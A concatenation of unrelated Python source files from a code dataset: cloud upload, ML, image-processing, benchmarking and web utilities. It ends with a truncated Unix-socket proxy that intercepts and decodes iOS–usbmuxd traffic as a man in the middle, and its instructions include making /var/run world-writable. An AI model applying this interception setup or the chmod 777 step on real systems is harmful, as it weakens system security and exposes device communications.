\n composition is disabled.\n file_path {str} -- (Optional) a file or file-like object to read. Defaults to stdin.\n \"\"\"\n # intialize\n io.DEFAULT_BUFFER_SIZE = io_buffer\n input_stream = stdin.buffer\n if file_path:\n input_stream = open(file_path, \"rb\")\n upload_slice_size = slice_size\n executor = BoundedThreadPoolExecutor(max_workers=threads,\n queue_size=int(threads * 1.5))\n gcs = get_gcs_client()\n\n # start reading and uploading\n LOG.info(\"Reading input\")\n start_time = time()\n futures = push_upload_jobs(input_stream, object_path, upload_slice_size,\n gcs, executor)\n\n # wait for all uploads to finish and store the results\n slices = []\n for slyce in futures:\n slices.append(slyce.result())\n transfer_time = time() - start_time\n\n # compose, if desired\n if not no_compose:\n compose(object_path, slices, gcs, executor)\n\n # cleanup and exit\n executor.shutdown(True)\n read_bytes = stats['read_bytes']\n LOG.info(\"Done\")\n LOG.info(\"Overall seconds elapsed: {}\".format(time() - start_time))\n LOG.info(\"Bytes read: {}\".format(read_bytes))\n LOG.info(\"Transfer time: {}\".format(transfer_time))\n LOG.info(\"Transfer rate Mb/s: {}\".format(\n b_to_mb(int(read_bytes / transfer_time)) * 8))\n\n\ndef push_upload_jobs(input_stream: io.BufferedReader, object_path: str,\n slice_size: int, client: storage.Client,\n executor: Executor) -> List[Future]:\n \"\"\"Given an input stream, perform a single-threaded, single-cursor read. This\n will be fanned out into multiple object slices, and optionally composed into\n a single object given as `object_path`. If composition is enabled, `object_path`\n will function as a prefix, to which the suffix `_sliceN` will be appended, where N is\n a monotonically increasing number starting with 1.\n \n Arguments:\n input_stream {io.BufferedReader} -- The input stream to read.\n object_path {str} -- The final object path or slice prefix to use.\n slice_size {int} -- The size of slice to target.\n client {storage.Client} -- The GCS client to use.\n executor {Executor} -- The executor to use for the concurrent slice uploads.\n \n Returns:\n List[Future] -- A list of the Future objects representing each blob slice upload.\n The result of each future will be of the type google.cloud.storage.Blob.\n \"\"\"\n futures = []\n read_bytes = 0\n slice_number = 0\n while not input_stream.closed:\n slice_bytes = read_exactly(input_stream, slice_size)\n read_bytes += len(slice_bytes)\n stats['read_bytes'] = read_bytes\n if slice_bytes:\n LOG.debug(\"Read slice {}, {} bytes\".format(slice_number,\n read_bytes))\n slice_blob = executor.submit(\n upload_bytes, slice_bytes,\n object_path + \"_slice{}\".format(slice_number), client)\n futures.append(slice_blob)\n slice_number += 1\n else:\n LOG.info(\"EOF: {} bytes\".format(read_bytes))\n break\n return futures\n\n\ndef read_exactly(input_stream: io.BufferedReader, length: int) -> bytes:\n \"\"\"Read an exact amount of bytes from an input stream, unless EOF is reached.\n \n Arguments:\n input_stream {io.BufferedReader} -- The input stream to read from.\n length {int} -- The exact amount of bytes to read.\n \n Returns:\n bytes -- The bytes read. If zero and length is not zero, EOF.\n \"\"\"\n accumulator = b''\n bytes_read = 0\n read_ops = 0\n while bytes_read < length:\n read_bytes = input_stream.read1(length - bytes_read)\n read_ops += 1\n bytes_read += len(read_bytes)\n accumulator += read_bytes\n if not len(read_bytes):\n break\n LOG.debug(\"Read exactly {} bytes in {} operations.\".format(bytes_read, read_ops))\n return accumulator\n\n\ndef upload_bytes(bites: bytes, target: str,\n client: storage.Client = None) -> storage.Blob:\n \"\"\"Upload a Python bytes object to a GCS blob.\n \n Arguments:\n bites {bytes} -- The bytes to upload.\n target {str} -- The blob to which to upload the bytes.\n \n Keyword Arguments:\n client {storage.Client} -- A client to use for the upload. If not provided,\n google.cloud.get_gcs_client() will be called. (default: {None})\n \n Returns:\n storage.Blob -- The uploaded blob.\n \"\"\"\n client = client if client else get_gcs_client()\n slice_reader = io.BytesIO(bites)\n blob = storage.Blob.from_string(target)\n LOG.debug(\"Starting upload of: {}\".format(blob.name))\n blob.upload_from_file(slice_reader, client=client)\n LOG.info(\"Completed upload of: {}\".format(blob.name))\n return blob\n\n\ndef compose(object_path: str, slices: List[storage.Blob],\n client: storage.Client, executor: Executor) -> storage.Blob:\n \"\"\"Compose an object from an indefinite number of slices. Composition will be performed\n single-threaded with the final object acting as an \"accumulator.\" Cleanup will be performed \n concurrently using the provided executor.\n \n Arguments:\n object_path {str} -- The path for the final composed blob.\n slices {List[storage.Blob]} -- A list of the slices which should compose the blob, in order.\n client {storage.Client} -- A GCS client to use.\n executor {Executor} -- A concurrent.futures.Executor to use for cleanup execution.\n \n Returns:\n storage.Blob -- The composed blob.\n \"\"\"\n LOG.info(\"Composing\")\n final_blob = storage.Blob.from_string(object_path)\n final_blob.upload_from_file(io.BytesIO(b''), client=client)\n\n for composition in generate_composition_steps(slices):\n composition.insert(0, final_blob)\n LOG.debug(\"Composing: {}\".format([blob.name for blob in composition]))\n final_blob.compose(composition, client=client)\n sleep(1) # can only modify object once per second\n\n LOG.info(\"Cleanup\")\n for blob in slices:\n LOG.debug(\"Deleting {}\".format(blob.name))\n executor.submit(blob.delete, client=client)\n sleep(.005) # quick and dirty rate-limiting, sorry Dijkstra\n\n return final_blob\n\n\ndef generate_composition_steps(slices: List) -> Iterable[List]:\n \"\"\"Given an indefinitely long list of blobs, return the list in 31 item chunks.\n This is one less than the maximum number of blobs which can be composed in one operation in GCS.\n The caller should prepend an accumulator blob (the target) to the beginning of each chunk. This \n is easily achieved with `List.insert(0, accumulator)`.\n \n Arguments:\n slices {List} -- A list of blobs which are slices of a desired final blob.\n \n Returns:\n Iterable[List] -- An iteration of 31-item chunks of the input list.\n \n Yields:\n Iterable[List] -- A 31-item chunk of the input list.\n \"\"\"\n while len(slices):\n chunk = slices[:31]\n yield chunk\n slices = slices[31:]\n","sub_path":"gcsfast/cli/upload_stream.py","file_name":"upload_stream.py","file_ext":"py","file_size_in_byte":9173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"311364520","text":"class Node:\n def __init__(self, val, _next=None):\n self.val = val\n self._next = _next\n\n\ndef recursivePrint(node):\n if node:\n recursivePrint(node._next)\n print(\"data is {}\".format(node.val))\n\n\ndef main():\n n3 = Node(3)\n n2 = Node(2, n3)\n n1 = Node(1, n2)\n recursivePrint(n1)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"05-从尾到头打印链表/recursive.py","file_name":"recursive.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"139110076","text":"#!/usr/bin/env python\nimport argparse\nfrom commonbench import *\n\n#workloads\necho = 'echo'\npmemkv = 'pmemkv'\npmemkv_ncc = 'pmemkv_ncc'\nvolatile_pmemkv = 'volatile_pmemkv'\nvolatile_pmemkv_ncc = 'volatile_pmemkv_ncc'\nrocksdb = 'rocksdb'\npmemds = 'pmemds'\nhashmap = 'hashmap'\n\n\nwl=[]\nwl.append(echo)\n\nwl.append(pmemkv)\nwl.append(pmemkv_ncc)\nwl.append(volatile_pmemkv)\nwl.append(volatile_pmemkv_ncc)\nwl.append(rocksdb)\nwl.append(pmemds)\nwl.append(hashmap)\n\nwl.append(empty)\n\n\nparser = argparse.ArgumentParser(prog=\"runscript\", description=\"script to run cyclone for numbers\")\nparser.add_argument('-c', dest='clean', action='store_true', default=False, help=\"clean env after a run\")\nparser.add_argument('-g', dest='gen', action='store_true', default=False, help=\"generate config\")\nparser.add_argument('-collect', dest='collect', action='store_true', default=False, help=\"collect output\")\nparser.add_argument('-db', dest='deploy_bins', action='store_true', default=False, help=\"deploy client/server binaries\")\nparser.add_argument('-dc', dest='deploy_configs', action='store_true', default=False, help=\"deploy configs\")\nparser.add_argument('-start', dest='start', action='store_true', default=False, help=\"run experiment\")\nparser.add_argument('-stop', dest='stop', action='store_true', default=False, help=\"stop experiment\")\nparser.add_argument('-w', dest='workload', default=empty , help='workload name, eg: echo, pmemkv', choices=wl)\nparser.add_argument('-m', dest='memtype', default=empty , help='memory type', choices=ml)\nparser.add_argument('-b', dest='bufsize', default=empty , help='inflight buffer size')\nparser.add_argument('-rep', dest='replicas', default=empty , help='number of replicas', choices=rl)\nparser.add_argument('-commute', dest='is_commute', action='store_true', default=False , help='number of replicas')\n\ntry:\n args = parser.parse_args()\n\nexcept:\n dbg('Error parsing input')\n sys.exit(0)\n\nclass KVBench(Common):\n #map some workload names to binary name\n def wl2binary(self,arg):\n switcher= {\n 'pmemkv_ncc' : 'pmemkv',\n 'volatile_pmemkv' : 'pmemkv',\n 'volatile_pmemkv_ncc' : 'pmemkv'\n }\n return switcher.get(arg,arg)\n\n def bench(self):\n return 'kvbench';\n\n def get_bench_dir(self):\n return 'ERROR'\n\n def get_server_cxx(self,wload):\n if wload == volatile_pmemkv or wload == volatile_pmemkv_ncc:\n return '\\\"-DDRAM\\\"'\n if wload == volatile_pmemkv_ncc or wload == pmemkv_ncc:\n return 'PMEM_SLIB=' + ncc_pmem\n if wload == pmemds:\n return ''\n return '' #else\n\nif __name__ == '__main__':\n\n c = args.clean\n g = args.gen\n strt = args.start\n stop = args.stop\n db = args.deploy_bins\n dc = args.deploy_configs\n clct = args.collect\n\n kvb = KVBench();\n\n\n if args.clean is True:\n kvb.clean(args)\n if db == True:\n kvb.deploy_bin(args)\n if g == True:\n kvb.generate(args)\n if dc == True:\n kvb.deploy_configs(args)\n if strt == True:\n kvb.start_cyclone(args)\n if stop == True:\n kvb.stop_cyclone(args)\n if clct == True:\n kvb.gather_output(args)\n","sub_path":"utils-global/kv_bench.py","file_name":"kv_bench.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"323819628","text":"import cv2\nfrom math import log2\n\ndef otsu():\n img = cv2.imread(\"ilha.jpg\", 0) #\n h, w = img.shape[:2]\n hist = cv2.calcHist([img], [0], None, [256], [0, 256])\n l = 256\n mediaTotal = 0.0\n varTotal = 0.00001\n media_t = 0.0\n w0 = 0.00000000001\n n = -1\n max = -1\n pos = -1\n\n for t in range(l):\n for i in range(t):\n Pi = hist[i] / (h * w)\n w0 = w0 + Pi\n media_t = media_t + i * Pi\n Pi = hist[t] / (h * w)\n mediaTotal = mediaTotal + t * Pi\n w1 = 1 - w0\n u0 = media_t / w0\n u1 = mediaTotal - media_t / (1 - u0)\n varClasses = w0 * w1 * pow((u1 * u0), 2)\n n = varClasses / varTotal\n if n > max:\n max = n\n pos = t\n return mediaTotal\n\n#Lendo a imamem\nimgagem = cv2.imread(\"ilha.jpg\")\nimg = cv2.imread(\"ilha.jpg\", 0)\n\n#Ajustando a imagem\nh,w = img.shape[:2]\notsuTh = otsu()\n\nth, imagem2 = cv2.threshold(img, otsuTh, 255, cv2.THRESH_BINARY)\nth, imagem3 = cv2.threshold(img,0,255, cv2.THRESH_OTSU)\n\n# Exibir as imagens\ncv2.imshow(\" Imagem Original\", imgagem)\ncv2.imshow(\"Imaagem Otsu\", imagem2)\ncv2.imshow(\" Imagem Otsu Threshold Binary\", imagem3)\ncv2.waitKey(0) \n","sub_path":"Lista_de_Exercicios/atividade4.py","file_name":"atividade4.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"397613747","text":"\"\"\"\n priv_ftp_check_zip_files.py\n \n Check for integrity of every *.zip file in the folder passed as argument, recursively.\n A log is kept, producing a new file every day. Only errors are logged.\n Python 3.5+ is required by the recursive behavior\n \n Use: python3 priv_ftp_check_zip_files.py path_to_zips \n /net/isilonP/public/rw/homes/tc_cm01/metabolights/software/Python3local/bin/python3 priv_ftp_check_zip_files.py /ebi/ftp/private/mtblight/test\n\"\"\"\n\nimport os\nimport sys\nimport glob\nimport logging\nimport logging.handlers\nimport zipfile\n\n\ndef check_zfile(filename):\n try:\n zfile = zipfile.ZipFile(filename)\n zfile.testzip()\n except Exception:\n logger.error(\"Found bad file in \" + filename)\n else:\n logger.info(\"Zip test PASSED for \" + filename)\n\n\ndef setup_log():\n log = logging.getLogger('ZipTest')\n # log.setLevel(logging.DEBUG)\n os.makedirs('logs', exist_ok=True)\n fh = logging.handlers.TimedRotatingFileHandler(filename='logs/priv_ftp_check_zip_files.log', when='midnight')\n formatter = logging.Formatter('%(asctime)s - %(levelname)s: %(message)s')\n fh.setFormatter(formatter)\n log.addHandler(fh)\n return log\n\n\nif __name__ == \"__main__\":\n rootdir = os.path.abspath(sys.argv[1])\n\n logger = setup_log()\n logger.info(\"===> Testing zip files in \" + rootdir)\n\n zfiles = glob.glob(os.path.join(rootdir, \"**/*.zip\"), recursive=True)\n\n for file in zfiles:\n check_zfile(file)\n\n","sub_path":"PrivateFTPFolderMaintenance/priv_ftp_check_zip_files.py","file_name":"priv_ftp_check_zip_files.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"312943420","text":"from typing import *\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom allennlp.data import Instance\nfrom allennlp.data.dataset_readers import DatasetReader\nfrom allennlp.data.fields import TextField, ArrayField\nfrom allennlp.data.iterators import BasicIterator\nfrom allennlp.data.iterators import BucketIterator\nfrom allennlp.data.iterators import DataIterator\nfrom allennlp.data.token_indexers import PretrainedBertIndexer\nfrom allennlp.data.token_indexers import TokenIndexer\nfrom allennlp.data.tokenizers import Token\nfrom allennlp.data.tokenizers.word_splitter import SpacyWordSplitter\nfrom allennlp.data.vocabulary import Vocabulary\nfrom allennlp.models import Model\nfrom allennlp.modules.seq2vec_encoders import Seq2VecEncoder\nfrom allennlp.modules.text_field_embedders import BasicTextFieldEmbedder\nfrom allennlp.modules.text_field_embedders import TextFieldEmbedder\nfrom allennlp.modules.token_embedders.bert_token_embedder import PretrainedBertEmbedder\nfrom allennlp.nn import util as nn_util\nfrom allennlp.nn.util import get_text_field_mask\nfrom allennlp.training.trainer import Trainer\nfrom overrides import overrides\nfrom scipy.special import expit\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import train_test_split\nfrom tqdm import tqdm\n\n\nclass Config(dict):\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.col_name = None\n self.batch_size = None\n self.hidden_size = None\n self.epochs = None\n self.use_gpu = None\n self.lr = None\n self.max_seq_len = None\n for k, v in kwargs.items():\n setattr(self, k, v)\n\n def set(self, key, val):\n self[key] = val\n setattr(self, key, val)\n\n\nconfig = Config(\n batch_size=64,\n lr=3e-4,\n epochs=2,\n hidden_size=64,\n max_seq_len=300,\n use_gpu=torch.cuda.is_available(),\n col_name=[\"text\", \"label\"]\n)\n\n\nclass LoadData(DatasetReader):\n def __init__(self, tokenizer: Callable[[str], List[str]] = lambda x: x.split(),\n token_indexers: Dict[str, TokenIndexer] = None,\n max_seq_len: Optional[int] = config.max_seq_len,\n col_name: List[str] = None) -> None:\n super().__init__(lazy=False)\n self.tokenizer = tokenizer\n self.token_indexers = token_indexers\n self.max_seq_len = max_seq_len\n self.col_name = col_name\n\n @overrides\n def text_to_instance(self, tokens: List[Token], labels: np.ndarray = None) -> Instance:\n sentence_field = TextField(tokens, self.token_indexers)\n fields = {\"tokens\": sentence_field}\n\n label_field = ArrayField(array=labels)\n fields[\"label\"] = label_field\n\n return Instance(fields)\n\n @overrides\n def _read(self, df) -> Iterator[Instance]:\n for i, row in df.iterrows():\n yield self.text_to_instance(\n [Token(x) for x in self.tokenizer(row[self.col_name[0]])],\n row[[self.col_name[1]]].values,\n )\n\n\nclass BaselineModel(Model):\n def __init__(self, word_embeddings: TextFieldEmbedder, encoder: Seq2VecEncoder, vocab):\n super().__init__(vocab)\n self.word_embeddings = word_embeddings\n self.encoder = encoder\n self.projection = nn.Linear(self.encoder.get_output_dim(), 1)\n self.loss = nn.BCEWithLogitsLoss()\n\n def forward(self, tokens: Dict[str, torch.Tensor], label: torch.Tensor) -> torch.Tensor:\n mask = get_text_field_mask(tokens)\n embeddings = self.word_embeddings(tokens)\n state = self.encoder(embeddings, mask)\n class_logits = self.projection(state)\n output = {\"class_logits\": class_logits, \"loss\": self.loss(class_logits, label)}\n\n return output\n\n\nclass Predictor:\n def __init__(self, model: Model, iterator: DataIterator, cuda_device: int = -1) -> None:\n self.model = model\n self.iterator = iterator\n self.cuda_device = cuda_device\n\n def _extract_data(self, batch) -> np.ndarray:\n out_dict = self.model(**batch)\n return expit(tonp(out_dict[\"class_logits\"]))\n\n def predict(self, ds: Iterable[Instance]) -> np.ndarray:\n pred_generator = self.iterator(ds, num_epochs=1, shuffle=False)\n self.model.eval()\n pred_generator_tqdm = tqdm(pred_generator, total=self.iterator.get_num_batches(ds))\n preds = []\n with torch.no_grad():\n for batch in pred_generator_tqdm:\n batch = nn_util.move_to_device(batch, self.cuda_device)\n preds.append(self._extract_data(batch))\n return np.concatenate(preds, axis=0)\n\n\ndef tokenizer(x: str):\n return [w.text for w in SpacyWordSplitter(language='en_core_web_sm', pos_tags=False).split_words(x)[:config.max_seq_len]]\n\n\ndef tonp(tsr):\n return tsr.detach().cpu().numpy()\n\n\ndef load_data(train_dir, test_dir):\n token_indexer = PretrainedBertIndexer(\n pretrained_model=\"bert-base-uncased\",\n max_pieces=config.max_seq_len,\n do_lowercase=True,\n )\n\n reader = LoadData(tokenizer=tokenizer, token_indexers={\"tokens\": token_indexer}, col_name=config.col_name)\n\n train_data = pd.read_csv(train_dir)\n test_data = pd.read_csv(test_dir)\n\n test_y = test_data[config.col_name[1]].tolist()\n\n train_data, val_data = train_test_split(train_data, test_size=0.1, random_state=42)\n\n train_data = reader.read(train_data)\n val_data = reader.read(val_data)\n test_data = reader.read(test_data)\n\n return train_data, val_data, test_data, test_y\n\n\ndef pre_processing(train_data):\n vocab = Vocabulary()\n iterator = BucketIterator(batch_size=config.batch_size, sorting_keys=[(\"tokens\", \"num_tokens\")])\n iterator.index_with(vocab)\n batch = next(iter(iterator(train_data)))\n\n bert_embedder = PretrainedBertEmbedder(pretrained_model=\"bert-base-uncased\", top_layer_only=True)\n word_embeddings: TextFieldEmbedder = BasicTextFieldEmbedder({\"tokens\": bert_embedder}, allow_unmatched_keys=True)\n bert_dim = word_embeddings.get_output_dim()\n\n class BertSentencePooler(Seq2VecEncoder):\n def forward(self, embs: torch.tensor, mask: torch.tensor = None) -> torch.tensor:\n return embs[:, 0]\n\n @overrides\n def get_output_dim(self) -> int:\n return bert_dim\n\n encoder = BertSentencePooler(vocab)\n model = BaselineModel(word_embeddings, encoder, vocab)\n\n return model, batch, vocab, iterator\n\n\ndef train(model, batch, iterator, train_data):\n if config.use_gpu:\n model.cuda()\n\n batch = nn_util.move_to_device(batch, 0 if config.use_gpu else -1)\n loss = model(**batch)[\"loss\"]\n loss.backward()\n optimizer = optim.Adam(model.parameters(), lr=config.lr)\n trainer = Trainer(\n model=model,\n optimizer=optimizer,\n iterator=iterator,\n train_dataset=train_data,\n cuda_device=0 if config.use_gpu else -1,\n num_epochs=config.epochs\n )\n\n trainer.train()\n\n return model\n\n\ndef evaluate(vocab, model, test_data, test_y):\n seq_iterator = BasicIterator(batch_size=64)\n seq_iterator.index_with(vocab)\n\n predictor = Predictor(model, seq_iterator, cuda_device=0 if config.use_gpu else -1)\n test_preds = predictor.predict(test_data)\n\n y_pred = (test_preds > 0.5)\n accuracy = accuracy_score(test_y, y_pred)\n print(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n print(classification_report(test_y, y_pred, target_names=[\"0\", \"1\"]))\n\n\ndef main():\n # Directory\n train_dir = \"../data/binary_train_data.csv\"\n test_dir = \"../data/binary_test_data.csv\"\n\n print(\"1.Load Data\")\n train_data, val_data, test_data, test_y = load_data(train_dir, test_dir)\n\n print(\"2.Build model\")\n model, batch, vocab, iterator = pre_processing(train_data)\n\n print(\"3.Train\")\n model = train(model, batch, iterator, train_data)\n\n print(\"4.Evaluate\")\n evaluate(vocab, model, test_data, test_y)\n\n\nif __name__ == '__main__':\n main()","sub_path":"classification/binary_bert.py","file_name":"binary_bert.py","file_ext":"py","file_size_in_byte":8055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"20950220","text":"# -*- coding: utf-8 -*-\nfrom required.generic import GenericRequired\nfrom required.list import ListRequired\nfrom required.value import ValueRequired\nfrom required.value_delete import ValueDeleteRequired\nfrom required.ot import OTRequired\nfrom required.attr_schema import ASRequired\nfrom required.aot import AOTRequired\nfrom required.attr import ATTRRequired\nfrom required.ag import AGRequired\nfrom required.log import LogRequired\nfrom required.report import ReportRequired\nfrom required.search import SearchRequired\nfrom required.bulk import BulkRequired\nfrom HttpResponseJSON import HttpResponseJSON\nfrom django.conf import settings\nimport urllib\nfrom admintool.nc.models import AS, OT, AG, AOT, ATTR, Type, Type_def, Analytic, Tree_bulk_edit, Value, Tag, Log\n\n\ndef setProject(**kwargs):\n \"\"\"\n установка БД\n \"\"\"\n project = Project.get(request=kwargs['request'])\n \n AS.project = project\n OT.project = project\n AG.project = project\n ATTR.project = project\n AOT.project = project\n Type.project = project\n Type_def.project = project\n Analytic.project = project\n Tree_bulk_edit.project = project\n Value.project = project\n Tag.project = project\n Log.project = project\n\n\ndef setProjectSimple(**kwargs):\n \"\"\"\n установка БД(for unittest only)\n \"\"\"\n project = kwargs['project']\n \n AS.project = project\n OT.project = project\n AG.project = project\n ATTR.project = project\n AOT.project = project\n Type.project = project\n Type_def.project = project\n Analytic.project = project\n Tree_bulk_edit.project = project\n Value.project = project\n Tag.project = project\n Log.project = project \n\ndef wrapper(**kwargs):\n \"\"\"\n обработка входных параметров\n \"\"\"\n \n \n #установка проекта(БД)\n setProject(request=kwargs['request'])\n \n _context = kwargs['context']\n \n if _context == 'generic':\n req = GenericRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'ot':\n req = OTRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'attr_schema':\n req = ASRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n\n if _context == 'aot':\n req = AOTRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'attr':\n req = ATTRRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n\n if _context == 'ag':\n req = AGRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'list':\n req = ListRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'value':\n req = ValueRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n\n if _context == 'value_delete':\n req = ValueDeleteRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'log':\n req = LogRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'report':\n req = ReportRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'search':\n req = SearchRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if _context == 'bulk':\n req = BulkRequired(request=kwargs['request'], req_params=kwargs['req_params'])\n \n if req.success():\n out = kwargs['worker'](req)\n \n if 'success' in out:\n if out['success']:\n #процедура успешно прошла - вернём success\n json = out\n else:\n #внутри процедуры произошла ошибка - вернём failure\n json = { \"success\": False, \"errors\": out['errors'] }\n else:\n #процедура успешно прошла - вернём success\n json = out\n\n else:\n json = { \"success\": False, \"errors\": req.errors() }\n \n return HttpResponseJSON(json)\n\nclass Project(object):\n\n @staticmethod\n def get(**args):\n \"\"\"\n возвращает в project_alias\n \"\"\"\n \n request = args['request']\n \n found = False\n i = 0 \n\n if 'ys-project' in request.COOKIES: \n project = urllib.unquote(request.COOKIES['ys-project'])[2:] \n \n for idx in settings.DATABASES:\n if str(settings.DATABASES[idx]['ID']) == project:\n found = True\n project_alias = settings.DATABASES.keys()[i]\n break\n i = i + 1\n\n if found:\n return project_alias\n else:\n return 'default'","sub_path":"nc/lib/Wrapper.py","file_name":"Wrapper.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"24984778","text":"import pyglet\n\nball_image = pyglet.image.load('ball.png')\nball = pyglet.sprite.Sprite(ball_image, x=50, y=50)\n\nwindow = pyglet.window.Window()\n\n@window.event\ndef on_draw():\n ball.draw()\n\npyglet.app.run()\n","sub_path":"sandbox/Misc/graph2.py","file_name":"graph2.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"582132302","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport io\nimport os\n\nfrom logya import path\n\nfrom yaml import dump\ntry:\n from yaml import CDumper as Dumper\nexcept ImportError:\n from yaml import Dumper\n\n\ndef encode_content(headers, body):\n \"\"\"Encode headers and body in content format.\"\"\"\n\n return '---\\n{}\\n---\\n{}'.format(dump(headers, Dumper=Dumper).strip(), body)\n\n\ndef write(filename, content, create_dirs=True):\n \"\"\"Write content to file.\n\n If create_dirs is true the parent directories of the file are created, if\n they do not exist yet.\n \"\"\"\n\n if create_dirs:\n # create target directory if it doesn't exist\n target = os.path.dirname(filename)\n if not os.path.exists(target):\n os.makedirs(target)\n\n with io.open(filename, 'w', encoding='utf-8') as f:\n f.write(content)\n\n\ndef write_content(dir_target, headers, body):\n \"\"\"Write a file that can be parsed as content.\n\n This is can be used in scripts that extend Logya, but is not used in core\n at the moment.\n \"\"\"\n\n write(\n path.target_file(dir_target, headers['url']),\n encode_content(headers, body))\n\n\nclass DocWriter():\n \"\"\"Class for writing site documents.\"\"\"\n\n def __init__(self, dir_target, template):\n \"\"\"Set required properties.\"\"\"\n\n self.dir_target = dir_target\n self.template = template\n\n def write(self, doc, template):\n \"\"\"Render and write document to created file.\"\"\"\n\n # Make a copy so no previous doc attributes are retained, that don't\n # exist in current doc.\n tpl_vars = self.template.vars.copy()\n tpl_vars.update(doc)\n\n # Set additional template variables.\n tpl_vars['canonical'] = tpl_vars['base_url'] + tpl_vars['url']\n\n # Pre-render doc body so Jinja2 template tags can be used in content.\n body = ''\n if tpl_vars.get('body'):\n body = self.template.env.from_string(tpl_vars['body']).render(tpl_vars)\n tpl_vars['body'] = body\n\n page = self.template.env.get_template(template)\n content = page.render(tpl_vars)\n\n write(path.target_file(self.dir_target, doc['url']), content)\n","sub_path":"logya/writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"76802448","text":"\"\"\"\n一个简单的 unix 代理工具��用于中间人劫持获取数据包,解析 iOS 与 usbmuxd 传输过程时,转换成明文数据\n使用方法:\n\n1.sudo chmod 777 /var/run/\n2.sudo mv /var/run/usbmuxd /var/run/usbmuxx\n3.python /tools/unix_socket.py\n4.恢复 sudo mv /var/run/usbmuxx /var/run/usbmuxd\n\n\"\"\"\nimport logging\nimport os\nimport sys\nsys.path.append(os.getcwd())\nimport plistlib\nimport re\nimport signal\nimport struct\nimport socket\nimport _thread\nfrom _ctypes import sizeof\nfrom time import sleep\nfrom ios_device.util.dtxlib import DTXMessage, DTXMessageHeader, \\\n get_auxiliary_text, \\\n selector_to_pyobject\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s')\n\nHARDWARE_PLATFORM_SUB = re.compile(r'[^\\w<>/ \\-_0-9\\\"\\'\\\\=.?!+]+').sub\n\n\ndef check_buf(buf,direction):\n while buf:\n cursor = 0\n if buf[4:].startswith(b'L', cursor)[0]\n payload = buf[4:4 + cursor]\n cursor += 4\n if not payload:\n return None\n payload = HARDWARE_PLATFORM_SUB('', payload.decode('utf-8')).encode('utf-8')\n logging.debug(f'PlistByte:{payload}')\n data = plistlib.loads(payload)\n print(direction,'PlistData', data)\n elif buf[16:].startswith(b'L', cursor)[0]\n payload = buf[4:4 + cursor]\n cursor += 4\n if not payload:\n return None\n logging.debug(f'PlistByte:{payload}')\n data = plistlib.loads(payload)\n print(direction,'PlistData', data)\n\n elif buf[:4] == b'y[=\\x1f':\n try:\n _message_header = DTXMessageHeader.from_buffer_copy(buf[0: sizeof(DTXMessageHeader)])\n cursor = _message_header.length + sizeof(DTXMessageHeader)\n logging.debug(f'DTXByte:{buf[:cursor]}')\n p = DTXMessage.from_bytes(buf[:cursor])\n header = p.get_selector()\n if header:\n print(f'接收 DTX Data: header:{selector_to_pyobject(p._selector)} body:{get_auxiliary_text(p)}')\n else:\n print(direction,'DTX buf:', buf[:cursor])\n except Exception as E:\n print(direction,'ErrorBuf:', buf)\n else:\n print(direction,'EncryptBuf', buf)\n return\n\n if not cursor:\n return\n buf = buf[cursor:]\n\n\ndef request_handler(buffer):\n return buffer\n\n\n# handle remote buffer\ndef response_handler(buffer):\n return buffer\n\n\ndef receive_from(connection):\n buffer = b\"\"\n connection.settimeout(0.01)\n try:\n while True:\n sleep(0.01)\n data = connection.recv(4096)\n if not data:\n break\n buffer += data\n except:\n pass\n return buffer\n\n\ndef server_loop(oldSocket, newSocket, receive_first):\n # 作为服务器监听并接受remote_client连接\n # key = '/Users/chenpeijie/.cache/pymobiledevice/be4fde24033d5a06eadbb20ad1150ad633dbb046_ssl.txt'\n # context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)\n # context.load_cert_chain(key, key)\n server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n server.bind(oldSocket)\n server.listen(5)\n print(f'UNIX-LISTEN: {oldSocket} fork UNIX-CONNECT: {newSocket}')\n while True:\n client_socket, addr = server.accept()\n _thread.start_new_thread(proxy_handler, (client_socket, newSocket, receive_first))\n\n\ndef proxy_handler(client_socket, newSocket, receive_first):\n remote_socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n remote_socket.connect(newSocket)\n\n if 